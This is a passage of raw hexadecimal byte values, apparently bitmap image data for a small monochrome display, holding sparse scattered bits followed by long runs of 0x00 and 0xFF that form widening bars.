0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xE0, 0x83, 0x3F, \n0x10, 0x77, 0x12, 0xFC, 0x13, 0xFC, 0x27, 0xC2, 0xED, 0x81, 0xFC, 0x0F, 0xC0, 0xE7, 0xE1, \n0xEA, 0x27, 0xC3, 0x0C, 0x76, 0x41, 0xEE, 0x6C, 0x6E, 0x01, 0xF0, 0x7C, 0x3C, 0x71, 0x87, \n0x5C, 0x07, 0xB8, 0x0F, 0x86, 0xE2, 0x8F, 0x05, 0x78, 0xE2, 0x3E, 0xC0, 0x3E, 0x37, 0xB0, \n0xF8, 0x1F, 0x83, 0x18, 0x5C, 0xE8, 0x7C, 0x0F, 0xF0, 0x07, 0xF8, 0x0F, 0x86, 0xE4, 0x3E, \n0x07, 0xF0, 0xC6, 0x17, 0x3C, 0x0F, 0x83, 0xFC, 0x40, 0x7E, 0x41, 0xE0, 0xDC, 0x1C, 0x83, \n0xE0, 0x7E, 0x17, 0x1F, 0x80, 0xCE, 0xE0, 0x87, 0xC1, 0xFF, 0x01, 0xFC, 0x07, 0xF0, 0x0F, \n0xC0, 0x3F, 0x86, 0x5C, 0x1F, 0x03, 0xD8, 0x3E, 0x07, 0xE1, 0x31, 0xF8, 0x40, 0xFE, 0x01, \n0xFC, 0x03, 0xF0, 0x1F, 0x81, 0xF8, 0x1F, 0x81, 0xF4, 0x05, 0xF0, 0x8F, 0x80, 0xF8, 0xFF, \n0xC0, 0x25, 0xC4, 0xE0, 0x07, 0xD0, 0x38, 0x7E, 0x02, 0x71, 0xD4, 0xE6, 0x13, 0xFE, 0x1C, \n0x7E, 0x10, 0xF0, 0x01, 0xF8, 0x70, 0x78, 0x0F, 0xC0, 0x07, 0xF8, 0x61, 0xE0, 0x7F, 0x00, \n0x3F, 0xF0, 0xE3, 0xF0, 0x8F, 0x81, 0x0F, 0x63, 0x83, 0x80, 0xFE, 0x08, 0x3F, 0xE3, 0xE3, \n0x01, 0xFE, 0x07, 0xFC, 0x03, 0xF8, 0x1F, 0xBA, 0x30, 0x10, 0xEF, 0x80, 0x07, 0xFC, 0x11, \n0xFC, 0x03, 0xF0, 0x7F, 0x80, 0x7F, 0x03, 0xE7, 0x57, 0x82, 0x1D, 0xF0, 0x80, 0xFF, 0xC0, \n0x3F, 0x80, 0x5F, 0xE0, 0xE1, 0xCF, 0xD0, 0x0F, 0xA8, 0x60, 0x7F, 0x00, 0x1D, 0x7C, 0x03, \n0xF0, 0x70, 0xE3, 0xF8, 0x07, 0x80, 0x38, 0x3F, 0x81, 0xF8, 0x1F, 0xC0, 0x3B, 0x61, 0xE0, \n0x05, 0xBF, 0x0C, 0xC6, 0x30, 0x47, 0xC1, 0xF8, 0x0F, 0xF0, 0x1D, 0xE0, 0xF8, 0x03, 0xDF, \n0x8E, 0x43, 0x10, 0x63, 0xC1, 0xE0, 0x01, 0xFC, 0x05, 0xC0, 0x7E, 0x03, 0xE2, 0x1C, 0xC0, \n0x57, 0x03, 0xE0, 0x78, 0x02, 0x3E, 0x03, 0x70, 0x3F, 0x80, 0xF8, 0x87, 0x30, 0x0D, 0xE1, \n0xE0, 0xD4, 0x0F, 0x83, 0xBA, 0xC0, 0x2F, 0xA0, 0x1E, 0x40, 0x7F, 0x0B, 0x03, 0xE0, 0x30, \n0xFC, 0x18, 0x0F, 0xC0, 0x14, 0x79, 0xC8, 0x02, 0xFA, 0x03, 0xCC, 0x07, 0xF0, 0x20, 0x7E, \n0x07, 0x0F, 0x0F, 0x00, 0xFB, 0xC0, 0xFF, 0x0C, 0x67, 0x80, 0x7F, 0x00, 0x7F, 0x00, 0x0E, \n0x78, 0xE0, 0x67, 0x86, 0x83, 0x86, 0x2C, 0x00, 0x7F, 0x04, 0x07, 0x00, 0x7C, 0xE1, 0xD7, \n0xC0, 0xCF, 0xE0, 0x0E, 0xF0, 0x1F, 0xC2, 0x11, 0x8E, 0xEC, 0x3E, 0x00, 0xFF, 0x01, 0xF8, \n0x20, 0x18, 0xFE, 0x80, 0xFC, 0x0F, 0xE0, 0x0F, 0x87, 0xC0, 0x0F, 0xE0, 0x7F, 0x80, 0xF8, \n0x7C, 0x00, 0xFF, 0x01, 0xFC, 0x04, 0x7F, 0x80, 0x3F, 0xFF, 0x01, 0xF8, 0x0F, 0xE0, 0x3F, \n0x05, 0x80, 0x1F, 0xE0, 0x3F, 0x81, 0x87, 0xF0, 0x0F, 0xFC, 0x40, 0x7F, 0x00, 0x8C, 0x1A, \n0x01, 0xFE, 0x0E, 0x01, 0xFC, 0x02, 0x07, 0xF0, 0x01, 0xF8, 0x0E, 0x8F, 0x80, 0xE0, 0x3F, \n0x80, 0x20, 0xFE, 0x00, 0x3F, 0x81, 0xEC, 0xE8, 0x1E, 0x03, 0x08, 0x03, 0xFC, 0x00, 0x1F, \n0xE0, 0x3C, 0x1F, 0x80, 0x3F, 0xC0, 0xFE, 0xE0, 0x0F, 0x03, 0x8C, 0x01, 0xFE, 0x00, 0x1F, \n0xF0, 0x1E, 0x8B, 0xC0, 0xFB, 0x00, 0x7F, 0x01, 0x8E, 0x01, 0x9C, 0xC0, 0x05, 0x86, 0x38, \n0xC0, 0x1F, 0xC0, 0x3F, 0x3C, 0x03, 0xFC, 0x01, 0xFC, 0x06, 0x38, 0x06, 0x73, 0x80, 0x1E, \n0x18, 0x5B, 0x80, 0x7F, 0x80, 0xFF, 0xE0, 0x0F, 0xE4, 0x0D, 0x80, 0x88, 0x3F, 0xC0, 0xB2, \n0x10, 0x83, 0xE6, 0x00, 0x90, 0x1F, 0x30, 0x0F, 0xE0, 0x1F, 0xFC, 0x01, 0xFC, 0x01, 0xB0, \n0x11, 0x07, 0xF8, 0x06, 0x8E, 0x00, 0x78, 0xC0, 0x02, 0x07, 0xE2, 0x00, 0x39, 0xFC, 0x0F, \n0x80, 0x1F, 0x80, 0x3F, 0x80, 0xCF, 0xE0, 0x5F, 0x00, 0x04, 0xFF, 0x00, 0x3E, 0x00, 0x1F, \n0x20, 0x7F, 0x00, 0x3F, 0x80, 0x7E, 0x00, 0x17, 0xFC, 0x02, 0xFC, 0x00, 0x27, 0xE0, 0x1F, \n0x01, 0xFC, 0x00, 0x0F, 0x80, 0xFC, 0x04, 0x09, 0xE0, 0x00, 0x38, 0x20, 0x03, 0xE0, 0x1F, \n0x01, 0xFC, 0x00, 0x0F, 0xC0, 0x7E, 0x06, 0xA4, 0xE0, 0x06, 0x08, 0x77, 0x81, 0xFF, 0x80, \n0x07, 0xFC, 0x00, 0x01, 0xFC, 0x01, 0x9C, 0xBC, 0x00, 0x05, 0xC0, 0xF0, 0x06, 0x60, 0xF0, \n0x02, 0xC0, 0x77, 0x81, 0xFF, 0x80, 0x07, 0xFC, 0x00, 0x01, 0xFC, 0x00, 0x8E, 0xB8, 0x03, \n0xC0, 0x07, 0xE0, 0x0E, 0x78, 0x6E, 0x01, 0xF0, 0x0F, 0x44, 0x0E, 0x78, 0x03, 0xE1, 0x01, \n0xE0, 0xCC, 0x05, 0xE8, 0x80, 0xFF, 0x00, 0x1E, 0xE0, 0x3C, 0x18, 0xC0, 0xB8, 0x18, 0x0F, \n0xE0, 0x00, 0xFC, 0x03, 0x9C, 0x1C, 0x08, 0x07, 0x40, 0xFC, 0x00, 0x7E, 0x00, 0x03, 0x07, \n0x80, 0x01, 0xF0, 0x0F, 0x80, 0x1F, 0x00, 0xC0, 0x38, 0x20, 0x46, 0x02, 0xE0, 0x00, 0x18, \n0x70, 0x07, 0xE0, 0x3E, 0xE0, 0x70, 0x00, 0x3E, 0x01, 0xF0, 0x01, 0xF0, 0x08, 0x03, 0x82, \n0x00, 0xE0, 0xFC, 0x04, 0x31, 0x0F, 0x80, 0x78, 0x07, 0xF8, 0x07, 0xF0, 0x1E, 0x23, 0x80, \n0xE0, 0x3C, 0x07, 0x80, 0x7F, 0x80, 0x07, 0x80, 0xF0, 0x01, 0xF8, 0x00, 0xF0, 0x3F, 0xC0, \n0x1F, 0x80, 0xFE, 0x18, 0x0F, 0x03, 0x80, 0x78, 0x0F, 0xFC, 0x00, 0x3C, 0x07, 0xF8, 0x03, \n0xE0, 0x1F, 0x84, 0x03, 0xE0, 0xE0, 0x3E, 0x03, 0xF0, 0x00, 0xF0, 0x1F, 0x0F, 0xC0, 0x38, \n0x06, 0xFC, 0x03, 0xC0, 0x0E, 0x00, 0x7C, 0x01, 0xE0, 0x38, 0x06, 0xE4, 0x0F, 0xC0, 0x3E, \n0x01, 0xFC, 0x10, 0x7C, 0x00, 0x3F, 0x80, 0x3E, 0x00, 0x0B, 0x80, 0xF0, 0xD8, 0x03, 0xE0, \n0x6F, 0x40, 0xFC, 0x03, 0xF0, 0x1F, 0xC1, 0x07, 0xC0, 0x03, 0xF8, 0x03, 0xC0, 0x31, 0x88, \n0x0F, 0x00, 0x81, 0xCE, 0x01, 0xFE, 0x07, 0xE0, 0xFC, 0x00, 0x60, 0x0F, 0x00, 0x0F, 0x83, \n0x87, 0x00, 0x37, 0x00, 0x7F, 0x00, 0x1E, 0x11, 0x03, 0x8C, 0x03, 0xFC, 0x0F, 0xC0, 0xF8, \n0x00, 0xC0, 0x1E, 0x00, 0x1F, 0x07, 0x0E, 0x00, 0xFE, 0x00, 0x7C, 0x43, 0x00, 0x7C, 0x03, \n0x84, 0x00, 0x30, 0x00, 0x87, 0xC0, 0x7C, 0x00, 0xFC, 0x1F, 0x80, 0x04, 0x04, 0x08, 0x00, \n0x01, 0xF8, 0x03, 0x00, 0x3F, 0x07, 0xE0, 0x03, 0x01, 0x8E, 0x00, 0xC0, 0x3F, 0x00, 0x80, \n0x1E, 0x02, 0xF8, 0x0A, 0x00, 0xFC, 0x06, 0x00, 0xE3, 0x00, 0x78, 0x03, 0xE0, 0x10, 0x03, \n0xC0, 0xBF, 0x06, 0x00, 0x3F, 0x80, 0xC0, 0x3D, 0xC0, 0x3F, 0x00, 0xF0, 0x06, 0x00, 0x1F, \n0x01, 0xF0, 0x0F, 0xC0, 0x38, 0x00, 0xF8, 0x07, 0x80, 0x7E, 0x01, 0xE0, 0x09, 0xC0, 0x0F, \n0x80, 0x08, 0x43, 0xC0, 0x0F, 0x00, 0xFC, 0x03, 0x80, 0x01, 0xB0, 0x1F, 0x00, 0x10, 0x9F, \n0x80, 0x1F, 0x00, 0x00, 0x80, 0x1F, 0x81, 0xFC, 0x00, 0x3E, 0x00, 0x00, 0xE0, 0x01, 0xF0, \n0x03, 0xE0, 0x3D, 0x80, 0x0F, 0x80, 0x00, 0x1C, 0x00, 0x7E, 0x00, 0xC6, 0x02, 0x20, 0x4C, \n0x01, 0x90, 0x1F, 0x00, 0x79, 0x00, 0x00, 0x0C, 0x00, 0xFC, 0x03, 0xEC, 0x00, 0x40, 0x00, \n0x01, 0xE0, 0x01, 0xC0, 0x00, 0x30, 0x00, 0x06, 0xC0, 0x18, 0x81, 0xF8, 0x03, 0xF8, 0x00, \n0x01, 0xD0, 0x03, 0xE0, 0x00, 0x07, 0x80, 0x3E, 0x00, 0x07, 0x80, 0x3F, 0x00, 0xFE, 0x02, \n0xF8, 0x00, 0x60, 0x03, 0x01, 0x30, 0x00, 0x07, 0xC0, 0x1E, 0x00, 0x07, 0x80, 0x3F, 0x80, \n0x7E, 0x01, 0x78, 0x00, 0x7A, 0x01, 0xE0, 0x38, 0x00, 0x1F, 0xC0, 0x06, 0x06, 0x03, 0x00, \n0x0F, 0xE0, 0x00, 0xFC, 0x03, 0x80, 0x7E, 0x01, 0xF0, 0x0C, 0x02, 0x30, 0x00, 0x38, 0x00, \n0x07, 0xE0, 0x07, 0x02, 0x03, 0x00, 0x07, 0xE0, 0x00, 0xFC, 0x01, 0xD0, 0x7E, 0x01, 0xF0, \n0x07, 0x00, 0x7C, 0x03, 0xB8, 0x10, 0x01, 0xE0, 0x07, 0xE0, 0x3C, 0x07, 0x80, 0x30, 0x00, \n0x3C, 0x00, 0x30, 0x00, 0x03, 0xC0, 0x07, 0x00, 0x0E, 0x00, 0xE0, 0x18, 0x01, 0xE0, 0x0D, \n0xC0, 0x7F, 0x00, 0x80, 0x3E, 0x00, 0x7C, 0x01, 0x80, 0xE0, 0x07, 0x00, 0x07, 0x80, 0x07, \n0x00, 0x60, 0x38, 0x01, 0x60, 0xCC, 0xC0, 0x7F, 0x00, 0x80, 0x1F, 0x40, 0x3B, 0x00, 0x1E, \n0x00, 0x03, 0xE0, 0x01, 0xC0, 0x03, 0xC0, 0x02, 0xC0, 0x00, 0x60, 0x00, 0x60, 0x02, 0x00, \n0x00, 0x20, 0x00, 0x30, 0x00, 0x02, 0x02, 0xF0, 0x00, 0x00, 0x06, 0x00, 0x01, 0x80, 0x18, \n0xC0, 0x00, 0x40, 0x04, 0x00, 0x05, 0xC0, 0x00, 0x40, 0x18, 0x01, 0x00, 0x00, 0x61, 0x03, \n0x80, 0x00, 0x60, 0x00, 0x1F, 0x00, 0x00, 0x20, 0x0C, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, \n0x38, 0x40, 0xE0, 0x00, 0x18, 0x00, 0x06, 0xC0, 0x00, 0x0C, 0x07, 0x00, 0x03, 0xC0, 0x1C, \n0x00, 0x00, 0x1F, 0x81, 0xC0, 0x00, 0x00, 0x00, 0x04, 0xC0, 0x07, 0xC0, 0x1E, 0x00, 0x00, \n0x06, 0x00, 0x0E, 0x01, 0xE0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0xF0, 0x00, 0x00, \n0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 0x3F, 0x00, 0xF0, 0x03, 0x00, 0x11, 0x00, \n0x00, 0x0F, 0x00, 0x78, 0x00, 0x00, 0x3E, 0x00, 0x61, 0x00, 0x02, 0x00, 0x1F, 0x00, 0x1E, \n0x00, 0x30, 0x03, 0x80, 0x10, 0x03, 0x80, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x60, \n0x00, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0x00, 0x30, 0x01, 0x80, 0x10, 0x03, 0x80, 0x1F, 0x00, \n0x00, 0x00, 0x18, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x03, 0x00, 0x00, \n0xE0, 0x00, 0x20, 0x00, 0x08, 0x00, 0xE0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x0E, \n0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x01, 0xC0, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, \n0x80, 0x00, 0x1C, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, \n0x00, 0x03, 0xC0, 0x01, 0x00, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, \n0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x20, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x08, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x10, 0x00, 0x04, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, \n0x00, 0x07, 0xC0, 0x0F, 0x80, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0xF0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x60, \n0x00, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x00, 0x02, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 